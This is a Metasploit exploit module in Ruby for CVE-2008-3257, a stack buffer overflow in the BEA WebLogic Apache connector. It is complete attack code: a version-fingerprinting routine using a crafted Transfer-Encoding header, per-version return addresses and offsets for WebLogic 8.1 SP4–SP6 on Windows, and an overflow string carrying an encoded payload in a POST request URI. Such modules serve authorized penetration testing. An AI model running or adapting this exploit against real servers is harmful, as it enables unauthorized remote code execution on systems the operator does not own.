Oracle Weblogic Apache Connector POST Request Buffer Overflow

                                                ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking
 
    HttpFingerprint = { :pattern => [ /Apache/ ] }
 
    include Msf::Exploit::Remote::HttpClient
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Oracle Weblogic Apache Connector POST Request Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack based buffer overflow in the BEA
                Weblogic Apache plugin.
 
                The connector fails to properly handle specially crafted HTTP POST
                requests, resulting a buffer overflow due to the insecure usage
                of sprintf.  Currently, this module works over Windows systems without DEP,
                and has been tested with Windows 2000 / XP.
 
                In addition, the Weblogic Apache plugin version is fingerprinted with a POST
                request containing a specially crafted Transfer-Encoding header.
            },
            'Author'         =>
                [
                    'KingCope', # Vulnerability Discovery and PoC
                    'juan vazquez', # Metasploit Module
                ],
            'Version'        => '$Revision: $',
            'References'     =>
                [
                    [ 'CVE', '2008-3257' ],
                    [ 'OSVDB', '47096' ],
                    [ 'BID', '30273' ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Privileged'     => true,
            'Platform'       => 'win',
            'Payload'        =>
                {
                    'Space'    => 4000,
                    'BadChars' => "\x00\x0d\x0a\x3f"
                },
            'Targets'        =>
                [
                    [ 'Automatic', {} ],
                    [  'BEA WebLogic 8.1 SP6 - mod_wl_20.so / Apache 2.0 / Windows [XP/2000]',
                        {
                            'Ret' => 0x10061f63, # push esp # ret # mod_wl_20.so
                            'Offset' =>  4102
                        }
                    ],
                    [  'BEA WebLogic 8.1 SP5 - mod_wl_20.so / Apache 2.0 / Windows [XP/2000]',
                        {
                            'Ret' => 0x10061473, # push esp # ret # mod_wl_20.so
                            'Offset' =>  4102
                        }
                    ],
                    [  'BEA WebLogic 8.1 SP4 - mod_wl_20.so / Apache 2.0 / Windows [XP/2000]',
                        {
                            'Ret' => 0x10020e31, # push esp # ret # mod_wl_20.so
                            'Offset' =>  4102
                        }
                    ]
                ],
            'DisclosureDate' => 'Jul 17 2008',
            'DefaultTarget'  => 0))
 
        register_options(
            [
                OptString.new('TARGETURI', [true, 'The URI path to a jsp or object provided by Weblogic', '/index.jsp']),
            ], self.class)
 
    end
 
 
    def check
 
        fingerprint = fingerprint_mod_wl
 
        case fingerprint
        when /Version found/
            return Exploit::CheckCode::Vulnerable
        when /BEA WebLogic connector vulnerable/
            return Exploit::CheckCode::Appears
        when /BEA WebLogic connector undefined/
            return Exploit::CheckCode::Detected
        when /BEA WebLogic connector no vulnerable/, /BEA WebLogic connector not found/
            return Exploit::CheckCode::Safe
        end
 
    end
 
    def exploit
 
        # Autodetect BEA mod_wl version
        my_target = get_target
 
        # Avoid the attack if the victim doesn't have the same setup we're targeting
        if my_target.nil?
            print_error("BEA mod_weblogic not supported")
            return
        end
 
        uri = target_uri.path
        sploit = rand_text_alphanumeric(my_target['Offset']-uri.length)
        sploit << [my_target.ret].pack("V")
        sploit << payload.encoded
 
        send_request_cgi({
            'method'  => 'POST',
            'uri'     => "#{uri} #{sploit}",
        })
 
        handler
 
    end
 
    def get_target
 
        return target if target.name != 'Automatic'
 
        fingerprint = fingerprint_mod_wl
 
        case fingerprint
        when /BEA WebLogic 8.1 SP6 - mod_wl_20.so/
            return targets[1]
        when /BEA WebLogic 8.1 SP5 - mod_wl_20.so/
            return targets[2]
        when /BEA WebLogic 8.1 SP4 - mod_wl_20.so/
            return targets[3]
        else
            return nil
        end
 
    end
 
    def fingerprint_mod_wl
 
        my_data = rand_text_alpha(rand(5) + 8)
        res = send_request_cgi(
                {
                    'method'  => 'POST',
                    'uri'     => target_uri.path,
                    'headers' =>
                        {
                            'Transfer-Encoding' => my_data
                        },
                    'data' => "#{my_data.length}\r\n#{my_data}\r\n0\r\n",
                })
 
        if res and res.code == 200 and res.body =~ /Weblogic Bridge Message/
            # BEA WebLogic 8.1 SP6 - mod_wl_20.so
            case res.body
            when (/Build date\/time:<\/B> <I>Jun 16 2006 15:14:11/ and /Change Number:<\/B> <I>779586/)
                return "Version found: BEA WebLogic 8.1 SP6 - mod_wl_20.so"
            # BEA WebLogic 8.1 SP5 - mod_wl_20.so
            when (/Build date\/time:<\/B> <I>Aug  5 2005 11:19:57/ and /Change Number:<\/B> <I>616810/)
                return "Version found: BEA WebLogic 8.1 SP5 - mod_wl_20.so"
            when (/Build date\/time:<\/B> <I>Oct 25 2004 09:25:23/ and /Change Number:<\/B> <I>452998/)
                return "Version found: BEA WebLogic 8.1 SP4 - mod_wl_20.so"
            # Check for dates prior to patch release
            when /([A-Za-z]{3} [\s\d]{2} [\d]{4})/
                build_date = Date.parse($1)
                if build_date <= Date.parse("Jul 28 2008")
                    return "BEA WebLogic connector vulnerable"
                else
                    return "BEA WebLogic connector no vulnerable"
                end
            else
                return "BEA WebLogic connector undefined"
            end
        end
 
        return "BEA WebLogic connector not found"
 
    end
 
end